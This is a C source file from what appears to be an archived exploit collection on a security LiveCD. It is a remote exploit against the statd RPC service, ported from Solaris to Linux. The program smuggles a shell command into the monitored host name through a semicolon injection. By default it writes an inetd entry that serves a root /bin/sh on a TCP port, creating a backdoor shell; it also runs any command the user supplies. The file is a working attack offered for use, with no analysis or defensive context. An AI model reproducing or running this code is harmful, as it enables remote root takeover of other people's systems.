home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / statd-linux.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  121 lines

  1. /* solaris statd exploit by someone.. ported to linux by jsbach */
  2. /* gcc wow.c -lrpcsvc -o wow */
  3.  
  4. struct st4t_chg3_imitation {
  5.         char *mon_name;
  6.         int state;
  7. };
  8.  
  9. typedef struct st4t_chg3_imitation st4t_chg3_imitation;
  10.  
  11. #include <stdio.h>
  12. #include <string.h>
  13. #include <netdb.h>
  14. #include <sys/time.h>
  15. #include <sys/types.h>
  16. #include <sys/socket.h>
  17. #include <rpcsvc/sm_inter.h>
  18. #include <rpc/svc.h>
  19. #include <rpcsvc/rstat.h>
  20.  
  21. void 
  22. usage(char *s) 
  23. {
  24.   printf ("Cache name is the hostname of the remote system.\n");
  25.   printf ("For example, blue.net, might be either blue or blue.net.\n\n");
  26.   printf ("Usage: %s hostname <cachename> <command>\n", s);
  27.   exit (0);
  28. }
  29.  
  30. int xdr_stat_chge(XDR *xdrs, st4t_chg3_imitation *objp)
  31. {
  32.          register long *buf;
  33.  
  34.          if (!xdr_string(xdrs, &objp->mon_name, SM_MAXSTRLEN)) {
  35.                  return (FALSE);
  36.          }
  37.          if (!xdr_int(xdrs, &objp->state)) {
  38.                  return (FALSE);
  39.          }
  40.         return (TRUE);
  41.  
  42.  
  43. }
  44.  
  45.  
  46. int
  47. main (int argc, char *argv[]) 
  48. {
  49.  
  50.   CLIENT *cl;
  51.   enum clnt_stat stat;
  52.   struct timeval tm;
  53.   struct mon monreq;
  54.   struct sm_stat_res monres;
  55.   struct st4t_chg3_imitation ntf_arg;
  56.   struct hostent *hp;
  57.   struct sockaddr_in target;
  58.   int sd;
  59.  
  60.   char attack[1024];
  61.  
  62.   if (argc < 3)
  63.     usage(argv[0]);
  64.  
  65.   if (argc==4)
  66.       sprintf(attack, ";%s", argv[3]);
  67.   else
  68.     sprintf(attack, "; echo \"pcserver stream tcp nowait root /bin/sh sh -i\" >>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob &");
  69.  
  70.   memset(&monreq, 0, sizeof(monreq));
  71.  
  72.   monreq.mon_id.my_id.my_name = argv[2];        
  73.   monreq.mon_id.my_id.my_prog = (unsigned long) 100099; 
  74.   monreq.mon_id.my_id.my_vers = (unsigned long) 1;
  75.   monreq.mon_id.my_id.my_proc = (unsigned long) 1;    
  76.   monreq.mon_id.mon_name = attack;    
  77.   monreq.priv[0] = '/';        
  78.  
  79.   memset(&ntf_arg, 0, sizeof(ntf_arg));
  80.  
  81.   ntf_arg.mon_name = attack;            
  82.   ntf_arg.state = 1;                    
  83.  
  84.   if ((hp = gethostbyname (argv[1])) == NULL) 
  85.   {
  86.     printf ("Couldnt resolve %s!\n", argv[1]);
  87.     exit (-1);
  88.   }
  89.  
  90.   target.sin_family = AF_INET;
  91.   target.sin_addr.s_addr = *(u_long *)hp->h_addr;
  92.   target.sin_port = 0;
  93.   sd = RPC_ANYSOCK;
  94.  
  95.   tm.tv_sec = 10;
  96.   tm.tv_usec = 0;
  97.  
  98.   if ((cl = clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) 
  99.   {
  100.     clnt_pcreateerror("clnt_create");
  101.     exit (-1);
  102.   }
  103.  
  104.   stat = clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res,
  105.     (char *)&monres, tm);
  106.  
  107.   if (stat != RPC_SUCCESS)
  108.     clnt_perror(cl, "clnt_call"); 
  109.   else 
  110.     printf("stat_res = %d.\n", monres.res_stat);
  111.  
  112.   stat=clnt_call(cl, ((u_long)6), xdr_stat_chge, (char *)&ntf_arg, xdr_void,
  113.     NULL, tm);
  114.  
  115.   if (stat != RPC_SUCCESS)
  116.     clnt_perror(cl, "clnt_call");
  117.  
  118.   clnt_destroy(cl);
  119.   exit (0);
  120. }
  121.